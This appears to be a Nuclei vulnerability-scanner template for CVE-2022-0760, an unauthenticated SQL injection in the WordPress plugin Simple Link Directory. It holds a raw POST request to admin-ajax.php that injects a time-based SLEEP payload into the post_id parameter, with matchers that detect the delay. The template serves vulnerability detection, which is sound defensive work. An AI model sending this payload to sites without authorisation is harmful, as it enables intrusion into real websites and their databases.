id: CVE-2022-0760

info:
  name: Simple Link Directory < 7.7.2 - Unauthenticated SQL injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.
  reference:
    - https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
    - https://wordpress.org/plugins/simple-link-directory/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0760
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0760
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth

requests:
  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "vote_status") || contains(body, "critical error")' 
        condition: and